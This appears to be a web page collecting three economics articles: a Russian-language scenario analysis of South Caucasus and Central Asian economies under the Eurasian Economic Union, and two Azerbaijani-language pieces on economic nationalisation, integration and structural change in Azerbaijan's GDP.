Для нас, для Турции и стран Южного Кавказа и Центральной Азии крайне важно оценка всевозможных ситуаций, которые могут возникнуть при формировании Евразийского экономического союза. Абстрагируясь от многих внутренних и внешних факторов, мы попытались прогнозировать возможные экономические поведения стран Южного Кавказа и Центральной Азии в контексте формирования Евразийского экономического союза. В частности мы сделали попытку создать ту картину, которая может отражать экономическое поведение стран Южного Кавказа и Центральной Азии в трех различных сценариях развития событий:

  1. Экономическое поведение стран Южного Кавказа и Центральной Азии при неудачи Евразийского экономического союза;
  2. Экономическое поведение стран Южного Кавказа и Центральной Азии при сохранении нынешнего « статус- кво » между Россией, США, Европейским Союзам и Китаем;
  3. Экономическое поведение стран Южного Кавказа и Центральной Азии при удачи Евразийского экономического союза.

При первом варианте не исключен и распад СНГ с формированием на его обломках новых экономических блоков и надгосударственных объединений, концентрирующихся, с одной стороны, вокруг некоторых стран с российским центром притяжения, и про европейских структур – с другой. Распад СНГ неминуемо повлечет значительную активизацию США и Евросоюза, Турции, Ирана и Китая на постсоветском пространстве, в частности на Южном Кавказе и Центральной Азии.

А что касается географического и отраслевого направления внешнеэкономического сотрудничества стран Южного Кавказа и Центральной Азии, то следует отметить, что, в первую очередь, такие трансрегиональные энергетические проекты, как TAP, ТANAP ( в прошлом NABUCCO) под общим названием «Южный поток» будут белее интенсивно реализоваться. В будущем Казахстан и Туркменистан охотно будут включаться в данный процесс. Грузия будет активизировать свою деятельность в сотрудничестве с Европейским Союзам, а может и стать полноправным членам данной организации. Экономическое положение Армении ухудшится до такой степени, что она откажет сотрудничества с Россией и возобновится процесс переговоров с Турцией и Азербайджаном по проблемам снятии блокады. В экономике Киргизии, Таджикистана и Узбекистане усилится роль Китая. На этот раз Китай усердно будет активизировать не только торговую деятельность, а все большими темпами будет заниматься инвестиционной деятельностью.

Но, следует отметить, что первому варианту развития событий носит маловероятный характер.

Если события будут развиваться по второму варианту сценарий, то следует сказать, что в странах Южного Кавказа и Центральной Азии сохранится « плавающий внешнеэкономический курс» и многовекторность во внешнеэкономической политике. Но такое положение дел в конечном итоге положительно повлияет на укреплению геоэкономический позиции США, Евросоюза и Китая. Тот экономический курс Азербайджана и Казахстана, который взят на диверсификацию экономики, постепенно будет давать свои плоды. Но, тогда этим странам придется искать новые рынки сбыта продукций диверсифицированной экономики. А при освоении новых рынков сбыта продукций диверсифицированной экономики в первую очередь будут служит рынки стран постсоветского пространства, так как по уровню конкурентоспособности эти страны находятся почти на одинаковом уровне. Реализация трансрегиональных энергетических проектов будет затягиваться. А при нынешнем экономическом курсе Азербайджана объем экспорта энергоресурсов постепенно будет идти на понижение. В таких условиях, экономика Грузии, которая во многом зависит от внешнеэкономической политики Азербайджана будет переживать острые трудности. А в Армении социально- экономическое положение еще больше будет обостряться и она попадет полностью под диктат России.

В экономике Киргизии, Таджикистана и Узбекистана практически принципиальных изменений не произойдет. Китай по прежнему на потребительских рынках данных стран будет занимать доминирующее положение. А Туркменистан, по прежнему будет проводить политику нейтралитета и по прежнему энергетический сектор будет служить для этой страны основным источником накопления финансовых средств.

А при третьем варианте развития событий, которые сегодня происходят на Евразийском пространстве, т.е. при полном утверждении Евразийского экономического союза страны Южного Кавказа и Средней Азии вплотную подойдут к формированию новой геоэкономической реальности- евразийского пространства с собой моделью развития. При успешной реализации данной модели открывается широкие перспективы для экономического развития и диверсификации национальной экономики. Предполагается, что в случае решения Карабахского вопроса Азербайджан тоже может войти в Евразийский союз. В данном случае, экономика Грузии, которая зависеть во многом от реализации трансрегиональных проектов Азербайджана с Западом не сможет перенести данное испытание и при этом повысится вероятность переориентации Грузии в сторону Востока.

Снятия барьеров в процессе передвижении товаров, инвестиций и трудовых ресурсов между участниками Евразийского экономического союза положительно повлияет на развитие национального бизнеса в странах Южного Кавказа и Средней Азии. В частности, Азербайджан получит дополнительные возможности для эффективного приложения своего капитала. В экономике Белоруссии, России, Казахстана, есть такие экономические отрасли, в которых можно заниматься эффективной инвестиционной деятельностью. Кроме того, существование объемного потребительного рынка даст дополнительный импульс развития малого, среднего и крупного бизнеса внешнеэкономической ориентацией на Евразийский экономический союз. В конечном итоге влияние ресурсно- сырьевого фактора, который сегодня в основном формирует ВВП стран Южного Кавказа и Центральной Азии постепенно будет уменьшаться. А напротив рост ВВП постепенно будет обеспечиваться за счет развития неэнергетических секторов экономики и обрабатывающей промышленности.

Углубление экономической интеграции между участниками Евразийской интеграции и развития внутреннего рынка еще больше будет привлекать к этой экономической активности Западных стран и Китая. Значит, и с этими странами тоже будут развиваться экономическое сотрудничество.

Существует еще и такой подход к развитию событий на Евразийском пространстве, что США и Россия могут прийти к общему знаменателю по самым критическим геоэкономическим вопросам. Тогда на дальнейшее развитие стран Южного Кавказа и Центральной Азии могут влиять также финансовый, энергетический, продовольственный и экологический кризисы, последствия которых способны затронуть все без исключения страны региона. Некоторые из перечисленных факторов могут с течением времени существенно трансформироваться, другие – совсем исчезнуть.

Расстановка сил в отношении претензий на ресурсные богатства региона в треугольнике Россия-Китай-Запад может измениться. Нельзя исключать признания Соединенными Штатами и западным миром в целом особой роли России в области энергетики, поскольку США и Евросоюзу объективно выгоднее будет договариваться по энергетическим вопросам с Россией, чем усиливать свою зависимость от нестабильных стран Ближнего Востока. Китай продолжит экономическую экспансию в регион с целью превращения его в ресурсную базу для своего динамичного развития. Стратегическая связка Россия-Китай станет контрбалансом другим влиятельным глобальным силам конкурирующим с ними в Центральной Азии.

Но существует еще одна угроза, которая негативно влияет для экономической стабильности Центральной Азии. Основная причина его распространения будет по-прежнему находиться в экономической и социальной сфере ряда центральноазиатских государств – в первую очередь Таджикистана, Кыргызстана и Узбекистана с их углубляющимися социальными контрастами. Центральная Азия с ее богатейшими сырьевыми ресурсами и выгодным стратегическим положением останется в фокусе борьбы глобальных и региональных сил. Здесь наряду с Россией и другими влиятельными внешнеполитическими державами (Китай, США, Евросоюз), будут действовать государства регионального значения – Турция, Иран, Афганистан, имеющие особые, исторически обусловленные отношения с Центральной Азией. Сохранят экономический интерес к региону Индия, Пакистан, Южная Корея, Япония. Повышение в Центральной Азии роли Индии более вероятно, нежели значение Пакистана Интерес Японии к Центральной Азии будет стимулироваться: темпами продвижения Китая в этот регион; растущими потребностями японского энергетического комплекса с уклоном на ядерную составляющую, вследствие чего можно ожидать активизации сотрудничества с Казахстаном и Узбекистаном в сфере гражданских ядерных разработок и поставок урана в Японию. Из вышесказанного можно сделать такие вводы, что государства Центральной Азии будут развивать отношения с ведущими региональными и азиатскими державами в первую очередь на экономической основе. Однако страны региона постараются при этом не нанести ущерб своим отношениям с европейскими государствами, РФ и США.

Южный Кавказ представляет собой небольшой по площади регион с населением около 18 млн. человек. После распада СССР социально-экономическое развитие государств Южного Кавказа шло разными путями. В результате относительная однородность, унаследованная от советских времен, была утрачена. Подобная неоднородность в рамках региона будет способствовать сохранению высокого потенциала конфликтности между странами Южного Кавказа и внутри каждой из них.

После распада СССР обладающий богатыми сырьевыми ресурсами Азербайджан оказался среди стран региона в наиболее благоприятном положении. Главным источником доходов стал экспорт энергоносителей на мировые рынки. Экономический рост страны до сих пор базируется на экстенсивном использовании энергетических ресурсов. Подобный упор на развитие энергетического сектора стал причиной недостаточной диверсификации экономики и ее зависимости от ситуации на мировом энергетическом рынке. К тому же энергетические ресурсы Азербайджана ограничены и уже в скором времени объемы добычи могут значительно снизиться. В случае сохранения нынешних объемов добычи энергоносителей или их незначительного сокращения, а также благоприятной ситуации на мировом энергетическом рынке экономика Азербайджана будет динамично развиваться.

Следует отметить, что изменение внешней политики Азербайджана в неблагоприятном для России направлении возможно, если страны Запада смогут добиться приемлемого для всех сторон решения карабахского конфликта с последующим вступлением Азербайджана, Армении и Грузии в Евросоюз. Тогда масштабы двустороннего экономического сотрудничества с Россией уменшится. В конечном итоге вытеснение России с Южного Кавказа повлечет за собой обострение ситуации на Северном Кавказе и возникнут новые внешние и внутренние угрозы для безопасности России.

Исповедующие евроатлантические ценности власти Грузии не сумели своевременно провести экономические реформы. Промышленность и сельское хозяйство находятся в состоянии глубоко кризиса. Страна выживает благодаря масштабной финансовой помощи от США и ЕС. А при изменении внешней политики Азербайджана в неблагоприятном для России направлении Грузия еще больше будет зависеть от Запада.

А то что, касается Армении, то следует сказать, что, в любом варианте развертывания событий на Евразийском пространстве, не будет давать этой стране шанс на безопасное развитие. Потому что, Армения мировым сообществом признано как страна агрессор, захватившая законную территорию соседного Азербайджана.

Таким образом, поверхностный анализ происходящих событий на Евразийском пространстве и осуществления экономических поведений по различным сценариям подсказывает нам, что дальновидная политика правительств стран региона способна к самоорганизации, а также к адаптации. В условиях переоформлении расстановки мировых и региональных сил странам Южного Кавказа и Центральной Азии объязательно надо будет прибегнуть к помощи адаптивным механизмам изменяющийся внешней среды. Эти государства должны быть готовы к любым развитием событий, которые сегодня разворачиваются на Евразийском пространстве.

В процессе развертывание первого, второго иле третьего сценарии, которые будет происходить в будущем на Евразийском пространстве, экономическое поведение каждой страны Южного Кавказа и Центральный Азии должна соответствовать существующим реалиям. В таких случаях эти государства в первую очередь объязаны обеспечить свою собственную национально- экономическую безопасность, а в дальнейшем на основе эволюционного менеджмента реорганизовать механизм внешнеэкономического сотрудничества.

i.e.n. dos. Mənsur Bərxudarov

(Azərbaycan) i.e.d.prof. Kərimli İ.A. Beynəlxalq iqtisadiyyat: İqtisadi milliləşmə, təcridləşmə və inteqrasiyalaşmanın vəhdəti
digital-economy

Извините, этот техт доступен только в “Азербайджанский”. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

Hər bir ölkə özünün təbii potensialı ilə yanaşı iqtisadi potensialına, milli istehsala və milli sənayeyəsinə arxalanmağın real yollarına malik olmalıdır. Hazırda çox vacibdir ki, ölkənin iqtisadi potensialını, onun iqtisadi resurslarını artırmaqla milli iqtisadi inkişafa, milli sənayenin və sahibkarlığın gücləndirilməsinə bütünlükdə isə milli istehsalın trans­for­masiyasına diqqət artı­rılsın. İqtisadi potensial və resurs­lar sırasında müasir texnika, texnologiyanın sirlərini bilən, onların daha yenilərini yarat­­mağa meylli olan, işgüzar və təşəbbüskar milli kadrların, səmərə­­ləşdirici və yaradıcı mütəxəs­sislərin formalaşdırılması və yerbəyer edilməsi məsələsi ilk növbə­də həll edilməlidir. Iqtisadiy­yatın milli iqtisadi bazasının yaradılması, iqtisadiyyatın sahələri arasındakı qeyri bərabər inkişafın tədricən aradan qaldırıl­ması iqtisadiyyatın idxaldan asılılıq meylinin dayandırılması məsələləri öz həllini tapmalıdır. Xammal materiallar istehsalı və ixracı ilə ixtisaslaşan ölkələr çox vaxt tələb olunan səviyyədə inkişaf edə bilmir. Ölkənin sürətli inkişafı üçün daimi və gələcəyi olan amillər: iqtisadiyyatı intensiv modern­ləş­dirilməsinə başlamaq yolu ilə milli sahibkarlardan ibarət orta təbə­qənin formalaşmasının əsasını qoymaq; milli iqtisadiy­ya­tın formalaşmasının ilkin şərtlərinin və inkişafının həlledici amillərini ön sıraya çıxar­maq; yüksək ixtisaslı milli kadr hazırlığına, ölkənin intellektual gələcə­yinə sərmayə qoymaq və s. diqqət mərkəzində olmalıdır.

Qeyd edilən strateji əhəmiyyətli amillər çox mürəkkəb olan bir problemin həllinə kömək etməlidir ki, bu da dünya bazarında rəqabət apara bilən milli iqtisadiyyatı formalaşdırıb inkişaf etdirməkdir. Bunun üçün iqtisadi milliləşmədən iqtisadi təcrid­ləşmə və regional inteqrasiyalaşmaya buradan da beynəlmilli iqtisadiyyata doğru gedilməlidir.

Iqtisadçı və siyasətçi alim və təcrübi işçilərin yazı­larından “iqtisadi milliləşmə”,“regional inteqrasiyalaşma”, ümumiyyətlə beynəlxalq iqtisadiyyat haqqında məlu­matları müntəzəm oxuyur, onların nə olduğunu, hansı­nın ölkəyə həqiqətən nə verə biləcəyini bilmirik. Lakin hər üc prosesin biri digərini necə şərtləndirməsi və qarşılıqlı əlaqələnməsi məsələsi öz həllini gözləyir və öyrənilməsi lazım gəlir.

Azərbaycan iqtisadiy­yatının, Azərbaycanın milli iqtisadiyyatı yaxud Azərbaycanda milliləşən iqtisadiyyat ifadəsi kimi işlədilməsinə cox rast gəlinir. Sonunculara daim diqqət verməli, müstəqil siyasi və iqtisadi inkişaf yolunda Azərbaycanda formalaşan milli iqtisadiyyatın təcridləşərək əvvəlcə regional, sonra isə beynəlxalq iqtisadi inteqrasiya proseslərinə daxil olması kimi əvəzsiz sərvət diqqət mərkəzində olmalıdır.

Çox təəssüflə deyək ki, elmi ədəbiyyat və tədqiqatlarda Azərbaycanda formalaşan milli iqtisadiyyatın Azərbaycan iqtisadiyyatı ilə eyniləşdirilməsini müşahidə edirik. Bu və ya digər cəhətdən fərqləndirilməli olan hər iki iqtisadi proses, onların formalaşması və inkişafının əsasları, bir növ subyektiv “düşüncələrlə” eyniləşdirilir. Düzgünlüyü tapmaq yalnız elmin, həqiqətin mənafeyinə görə deyil, eyni zamanda ölkəmizin milli iqtisadi inkişafının beynəlxalq inteqrasiya proseslərinə qoşulmağın gələcək mənzərəsini düzgün görmək baxımından da çox vacibdir.

Qərbin bir çox ölkələ­rində milli iqtisadiyyatın təşəkkül tapması dövrü əsrləri əhatə etdiyi halda, Azərbaycan qısa zamanda milli iqtisadiyyatı formalaşdırıb, inkişaf etdirmək  yolu ilə gedir. Bu yəqin ki, çox az zamandır. Real təcrübənin az olma-sı üzündən Azərbaycanda milli iqtisadiyyat, onun  inkişafı və inteqrasiya proseslərinə qoşulmağın yolları barədə iqtisadçı alimlər və təcrübi işçilər arasında hələ ki, fikir birliyi yarana bilmir.
Ölkəyə məxsus olan kapitalın, torpağın və əməyin milli xarak­teri, ifadə etdiyi sosial-iqtisadi proseslərə daha çox daxili zəngin­lik verir. Bu halı açıqlamaq üçün  milli iqtisadiy­yatın işləməsinin zəruri amillərinə üç cəhətdən yana­şılmalıdır. Əvvəla, milli istehsal amilləri dar mənada, yəni müəyyən ərazi-məkan (ölkə) daxilində deyil, onun xaricində də (ölkənin sər­həd­lərindən kənarda) formalaşıb fəaliyyət göstərər və ümumi milli məhsulun istehsalında iştirak edə bilər. İkinci, ölkənin iqtisadiy­ya­tında xarici dövlətlərin, onların təsərrüfat subyekt­lə­rinin yatır­dıq­ları kapitalların dəyəri, həmin kapitalları hərəkətə gətirən, on­la­rın mütəxəs­sislərinin əməyi ilə yaradılan məhsullar kapi­tal yatırılan ölkənin deyil, həmin kapitalları gətirən və onların sahibi olan ölkənin milli məhsulunun tərkibinə daxil olur. Üçüncü, hər bir ölkənin ümumi milli məhsulu iki hissədən: a) “da­xili milli məhsul”, b) “xarici milli məhsul”dan ibarət iqtisadi (statistik) göstəricilərlə hesablanması daha məqsədəuyğun sayılmalıdır.Fikir birliyinin yaranması üçün əvvəlcə belə bir suala da cavab tapmaq lazım gəlir. Nə üçün müstəqillik qazanan, siyasi, iqtisadi və s. sahələr üzrə azad inkişaf yolu tutan ölkələr (Asiya, Avropa, Afrika, Latın Amerikası ölkələrində) ilkin olaraq iqtisadi milliləşdirmə siyasətini yeritmişlər? Cavab bir qədər çətin olsa da, hər halda birmənalıdır. Ölkə özünə məxsus olan bütün təbii, iqtisadi, intellektual və s. sərvəti özünün­küləşdirib onlara özü sahib olmaq istəmişlər.Bu mənada milli iqtisadiyyatı yaratmaq üçün ilk növbədə iqtisadi fəaliyyət üçün zəruri olan şərtlər (kapital, torpaq, əmək, sahibkarlıq fəaliyyəti) ölkəyə məxsus olmalı, onlar milli  sahibkarların mülkiyyətinə keçməlidir.

ABŞ təcrübəsi, ölkədə iqtisadi-statistik göstəricilərin qiymət­lən­di-rilməsində ümumi milli məhsul gös-təricisinə xüsusi yer verir. Fikrimiz-cə, bu təcrübənin ABŞ-a daha çox xas olması onun ölkə sərhədlərindən kənarda ikinci iqtisadiyyatının (təx-minən 40%-dən çox) formalaşması vəziyyəti ilə əlaqədardır.

Ölkənin müstəqil inkişafının real nəticəsi daha çox iqtisadiy-yatdakı milliləşmənin səviyyəsində öz ifadəsini tapır. İqtisadi mil-liləşmə milli kapitalların və sahibkarların, bütünlükdə milli is-tehsalın daxili gücünün oyadılmasına, milli iqtisadi motivlərin və stimulların səfərbər olunmasına birbaşa təsir edə bilir. İqtisadiy-yatda milliləşmə iqtisadi təcridləşməni doğurur. Bu hal ilk baxış-dan mütləq proses kimi görünsə də, hər halda prosesin sonrakı gedişi iqtisadi təcridləşmənin nisbi xarakterdə olmasını büruzə etdirir. Yəni iqtisadi milliləşmənin səviyyəsi nə qədər yüksəlib iq-tisadi təcridləşməni gücləndirirsə, bir o qədər də regional və beynəlxalq iqtisadi inteqra-siyalaşmaya doğru meyl artır. Bu iqtisadi təcridləş­mədən iqtisadi inteqrasiyaya doğru hərəkəti – daxili milli­ləş­mədən (lokal milli-ləşmədən) regional milliləşməyə və nə­ha­yət beynəl­miləlləşməyə doğru hərəkəti özündə birləşdirir.Hər üç yanaşma imkan verir ki, ölkənin ərazisində ümumilikdə formalaşıb inkişaf edən iqtisadiyyatla. (xarici və daxili amillərlə birgə) onun yalnız öz milli istehsal və sosial amilləri bazasında formalaşıb inkişaf edən iqtisadiyyat fərqləndi-rilsin. Əks halda iqtisadiy­yatdakı real vəziyyət düzgün qiymətlən-dirilə bilməz. Necə ola bilər ki, Azərbaycanın ərazisində xarici sahibkarların öz kapitalları ilə ayrıca, yaxud da Azərbaycan sa-hibkarlarının kapitalları ilə birgə yaratdıqları firma və şirkət­lərdə istehsal olunan məhsullar Azərbaycanın ümumi milli məhsulları-nın tərki­bində hesablansın. Bu mənada milli iqtisadiyyat, milli kapital, milli sahib­kar yal-nız əcnəbi iqtisadiyyatla, kapitalla, sahibkarla müqayisə edil­məklə milli iqtisadi göstəricilər hesablanılıb  qiymətləndirilə bilər.

Belə hərəkət nəinki konseptual fikir və habelə real həyatda təcrübi proses kimi həm Avropada və həm də Şərqdə, xüsusən Cənubi Şərqi Asiya ölkələrində formalaşmış, özünə­məx­sus  millilik (milli sənaye, istehsal, düşüncə tərzi və ideolo­giya) yaratmışdır. İstər Av-ropanın və Şərqin, istərsə də ərəb dünyasının bir sıra ölkələrində milli iqtisadiyyatın inkişafını xarici kapi­talların müdaxiləsinə qarşı rəqabət apara biləcək bir tərəf kimi görmək istəmişlər. Belə milliliyin özünə­məxsus­luğu “iqtisadi təcrid­lilik”, “fərqli­lik” psixologiyasıdır, yəni daxili və xarici bazarlarda rəqabət qabiliyyətli olmaq üçün ayrıca, nis-bətən müstəqil milli iqtisadi güc toplamaqla regional və beynəlxalq inteq­rasiyaya girməkdir. Daha qısa desək, özünün milli iqtisadi gücünü digər millətlərlə müqayisə edə bilmək qabiliyyətini yaratmaqdır.

i.e.d.prof. Kərimli İ.A.

Azərbaycan Dövlət İqtisad Universiteti(UNEC), Beynəlxalq İqtisadiyyat kafedrası

(Azərbaycan) prof. Ümüdvar Əliyev. Milli iqtisadiyyatda quruluş dəyişikliklərinin ümumi daxili məhsulun strukturu və dinamikasına təsiri
xgqjrdcx-1386554669

Извините, этот техт доступен только в “Азербайджанский”. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

Müstəqillik illərinin ilkin dövrlərindən başlayaraq Azərbaycan Res-publikasının qarşısında duran ən mühüm vəzifələrdən biri yeni müstəqqillik əldə edən hər bir ölkədə olduğu kimi milli iqtisadiyyatın tələblərinə uyğun səmərəli iqtisadi quruluş formalaşdırılmasıdır. Inzibati-amirlik iqtisadi sistemində müttəfiq Republkalarda iqtisadiyyatın mövcud quruluşu ictimai mülkiyyət münasibətlərinə və SSRİ xalq təsərrüfatı kompleksinin tələblərinə uyğun formalaşdırılmışdır. İctimai mülküyyətin özünü doğrultmaması kifayyət dərəcədə təbii zəngin bir ölkənin iqtisadiyyatını “qıtlıq iqtisadiyyatı” vəziyyətinə gətirib çıxardı.İttifaqa daxil olan bütün respublikaların iqtisadiyyatının quruluşu çox ciddi deformasiyaya uğramışdır.Milli respublikaların marağından daha çox ittifaq maraqlarına uyğun gələn sahələr inkişaf etdirilirdi. Bu zaman formalaşdırılmış iqtisadi quruluş ictimai mülkiyyət münasibətlərinin fövqündə duran bürokratik mərkəzi dövlət idarəetmə aparatının maraqlarına uyğun gəlirdi. Iqtisadi maraqlarda uyğunsuzluq ittifaq subyektləri olan müttəfiq Respublikalar arasında çox dərin kök salmışdır. Bir sıra Respublikalar (Rusiya Fedarasisiyası, Ukraina, Qazaxıstan, Azərbaycan, Özbəkistan) ittifaq büdcəsinin formalaşmasında çox əhəmiyyətli rol oynamalarına baxmayaraq mərkəzi büdcədən digərlərinə nisbətən az pay alırdılar. Yerdə qalan respublikalar isə ( Ermənistan, Gürcüstan, Pribaltika Respublikaları və başqaları) ittifaq büdcəsindən onu yaranmasında iştirak etdikləri paydan çox vəsait əldə edirdilər. Müttəfiq Respublikalardakı müəssisələrin ittifaq tabeçiliyindəki nisbəti də fərqli idi. Azərbaycan Respublikasının sənaye müəssisələrinin 90%-dən çoxu ittifaq tabeliyində olduğu halda Ermənistanda sənaye müəssisələrin cəmi 10%-ə yaxını ittifaq tabeliyində idi. Iqtisadiyyatı bu səviyyədə deformasiyaya uğrayan Azərbaycan Respublikası yeni iqtisadi sistemə transformasiya dövründə ardıcıl və məntiqi qaydada həyata keçirdiyi iqtisadi-siyasi, sosial islahatlar və struktur siyasəti vasitəsi ilə bazar iqtisadiyyatına uyğun sahibkarlığın bütün formalarının inkişafını şərtləndirən mütərəqqi iqtisadi quruluş formalaşdırmağı qarşısına məqsəd qoydu.Müstəqilliyinin bərpası ilə bütün sərvətinin yeganə mülküyyətçisinə çevrilən Azərbaycan Respublikası ilkin olaraq bazar iqtisadiyyatının əsaslarını yaratmaq üçün mülküyyət münasibətlərində köklü dəyişikliklər etməyə başladı. Azərbaycan höküməti inzibati–amirlik iqtisadi sistemində hakim mülküyyət forması olan dövlət mülküyyətinin özəlləşdirilməsinin dövlət proqramlarını qəbul etdi.Bu dövlət proqramlarına uyğun olaraq ilkin quruluş dəyişiklikləri həyata keçirildi.Mülküyyətin çoxnövlüyünün hərtərəfli inkişafına əlverişli şərait yaradılmağa başlanıldı.Mülküyyətə görə iqtisadiyyat iki böyük bölməyə,dövlət və özəl bölməyə ayrıldı.Dövlət mülküyyətinin özəlləşdirilməsinin dövlət proqramlarına uyğun olaraq keçid dövrü başa çatdıqdan sonra dövlət mülküyyətinin 30% , özəl mülküyyətin isə 70% olacağı nəzərdə tutulurdu.Özəlləşdirilməyə başlanılan zaman ÜDM-də özəl sektorun payı faktiki olaraq 10% təşkil etdiyi halda, statistik məlumatlara görə 2015-ci ildə ÜDM-nin 85%-i özəl sektorda istesal olunmuşdur.
Azərbaycan iqtisadiyyatının strukturunda sənaye aparıcı sahələrdəndir.2014-ci ildə istehsal olunmuş 59 mld. manatlıq ÜDM-in 41,5%-i sənayenin payına düşmüşdür.Azərbaycan iqtisadiyyatının aparıcı sahəsi olan sənayenin özünün də yarımsahələri sənaye məhsulu istehsalında fərqli pay nisbətinə malikdirlər.Ənənəvi olaraq neft və neft –qaz sahəsi sənaye məhsulu istehsalında daha çox xüsusi çəkiyə malik olmuşdur.
Sovet dönəmində Azərbaycan iqtisadiyyatı SSRİ xalq təsərrüfatı komplek¬si¬nin bir elementi olduğundan çox bəsit bir struktura malik idi.Həmin dönəmdə də neft, neft-qaz və neft-kimya sənayesinin iqtisadiyyatımızda çox böyük xüsusi çəkisi var idi.Sənaye istehsalın 50%-ə yaxını, ixracın daha çox hissəsi onun payına düşürdü. Müstəqilliyimizin ilk il¬lərində qarşıda duran mühüm vəzifələrdən biri milli iqtisadiyyatı formalaşdıra və in¬kişaf etdirə bilən, dünya iqtisadiyyatına inteqrasiyanı şərtləndirən iqtisadiyyatda qu¬¬ruluş dəyişikliklərini həyata keçirilməsindən ibarət olub. Bu quruluş dəyişikliləri neft sənayesini inkişaf etdirməklə yanaşı qeyri-neft sektorunun inkişafına əlverişli şərait yaratmaqla iqtisadiyyatın neftdən asılılığının aradan qaldırılmasına yönəldilmişdir.
Müstəqilliyimiz ərəfəsində iqtisadiyyatın bütün sahələrində olduğu kimi neft sənayesi də böhranlı günlərini yaşayırdı.Neftçıxarmada tətbiq olunan texnalogiya fiziki və mənəvi cəhətdən köhnəlmişdir.Neft sənayesinin əsas avadanlıqlarının 70%-dən çoxü öz ömür müddətini başa vurmuşdur.Tarixən Azərbaycan sənayesinin flaqmanı olan neft sənayesini dirçəltmədən bütövlükdə Azərbaycan iqtisadiyyatının inkişaf etdirilməsi mümkün deyildi.
Doğrudur, müstəqillik illərimizdə də uzun müddət istehsal və ixracda neft sek¬to¬ru dominant rol oynamışdır.Ulu öndər H.Ə.Əliyev dünyanın aparıcı neft şirkətlərini Azərbaycan neft sə¬nayesi müəssisələri ilə birgə işləmələrə cəlb etməklə (neft konraktları) Azər¬bay¬can neft sənayesinin inkişafına yeni nəfəs verilmişdir. Respublikamıza yeni tex¬no¬lo¬giyalar gətirilmiş, nəticədə yeni neft yataqlarını kəşf etmək və istismara vermək müm¬kün olmuşdur. Neft hasilatı təxminən 12-14 mln. tondan 50mln. tona çatdırılmışdır.Yeni texnoloji biliyə malik neft sənayesi işçiləri forma¬laş¬mış¬dır. Azərbaycanın Avropaya inteqrasiayasını gücləndirən neft boru kəməri çə¬kil¬miş, şaxələndirilmiş qaz kəmərlərinin (TAP,TANAP)çəkilməsi (qaz ehtiyatlarımız 2,6 trilyon kub metr dəyərləndirilir) gündəmdə olan məsələlərdəndir. Ölkəyə külli miqdarda valyuta gəlmişdir.Azərbaycan tarixində ilk dəfə neft sənayemizə 8mld.ABŞ dolları civarında investisiya qoyulmuşdur(“Əsrin müqaviləsi” 20 sentyabr 1994-ci il). Bütövlükdə müstəqillik illərində iqtisadiyyatımıza 200 mld.dollar investisiya qoyulmuşdur.Artıq son 8-9 ildə investisiyanın quruluşunda ciddi dəyişikliklər baş vermişdir. 2015-cı ildə iqtisadiyyata qoyulan 16 mld. manat investisiyanın 56%-i daxili investisiyanın payına düşür. Investisiyaların quruluşunda daxili investisiya üstünlük təşkil edir. Neft gəlirlərindən istifadənin səmərəliliyini təmin etmək məqsədi ilə Neft fondu yaradılmışdır.Ölkəyə daxil olan neft gəlirləri bu fondda cəmləşdirilmişdir. Hal-hazırda valyuta ehtiyatlarımız Mərkəzi Bankın ehtiyyat fondu da nəzərə alınmaqla 40 mld. dol¬lar¬dan çox qiymətləndirilir. Bu valyuta ehtiyatları ümumi milli təhlükəsizliyimizin o, cüm-lədən də iqtisadi təhlükəsizliyimizin əsas maliyyə mənbəyi kimi çıxış edir.
Neft fondunun vəsaitləri neft sektorunun inkişafı ilə yanaşı qeyri-neft sektorunun in¬kişafına, əhalinin həyat səviyyəsinin yüksəldilməsinə, sosial infrastrukturun in¬ki¬şaf etdirilməsinə, insan kapitalının müasir tələblər səviyyəsində hazırlanmasına, büd¬cəyə transfert yolu ilə ümumi milli problemlərin həllinə istifadə olunur. 2016-cı ilin dövlət büdcəsinə də Neft Fondundan 6 mld. dollar civarında vəsaitin transfert olunması nəzərdə tutulmuşdur.
Neft sənayesinin inkişfı iqtisadiyyatın digər sahələrinin inkişafına əlverişli şərait yaratmışdır.
Bugün Azərbaycan iqtisadiyyatında quruluş dəyişikliyi baxımından gündəmdə olan mühüm məsələlərdən biri qeyri- neft sektorunun üstün inkişaf etdi¬ril¬məsi, neftdən asılılığın minimuma endirilməsindən ibarərtdir. 2015-ci ilin nəticələrinə görə ÜDM-də qeyri-neft sektorunun payı 70% -i ötüb keçmişdir, qeyri-neft sektorunda artım 8,4% , dünya iqtisadiyyatında böhranın davam etməsinə baxmayaraq,bütövlükdə Azərbaycan iqtisadiyyatında 1,1% artım müşhidə olunmuşdur. Dünya bazarında neftin qiymətinin 3-4 dəfədən çox aşağı düşməsinə və res¬publikamızda onun hasilatının azalmasına baxmayaraq ixracatımızın əhə¬miy¬yət¬li hissəsi (90%- dən çoxu) yenə də neft sektorunun payına düşür.
Yeni təsərrüfatçılıq şəraitində sənayenin mühüm tərkib hissələrindən olan yüngül, yeyinti, emal sənaye sahələrinin və turizmin inkişaf etdirilməsi perespektivli sahələr¬dən¬dir.Respublikamızda bu sahələrin inkişaf etdirilməsi üçün hərcür əlverişli şərait var.Bu sahələrin ixrac potensialı genişdir.
Bütövlükdə maşınqayırma sənayesinin, xüsusi ilə kənd təsərrüfatı maşıqayırma sənayesinin ( kənd təsərrüfatı avadanlıq və alətləri də daxil olmaqla) inkişaf edirilməsi bir sıra ciddi problemlərin həll edilməsinə şərait yarada bilər.
Düşünürəm ki, qeyri-neft sektorunun inkişaf etdirilməsi ilə yanaşı bu sahədə ix¬rac yönümlü məhsulların istehalının təçkil edilməsi strateji istiqamət olmaqla ya¬naşı ixracın sturukturunu təkmilləşdirəcək,iqtisadiyyatın rəqabətə dözümlülüyünün və iqtisadi təhlukəsizliyinin təmin edil¬mə¬sinin mühüm amillərindən birinə çevriləcək.
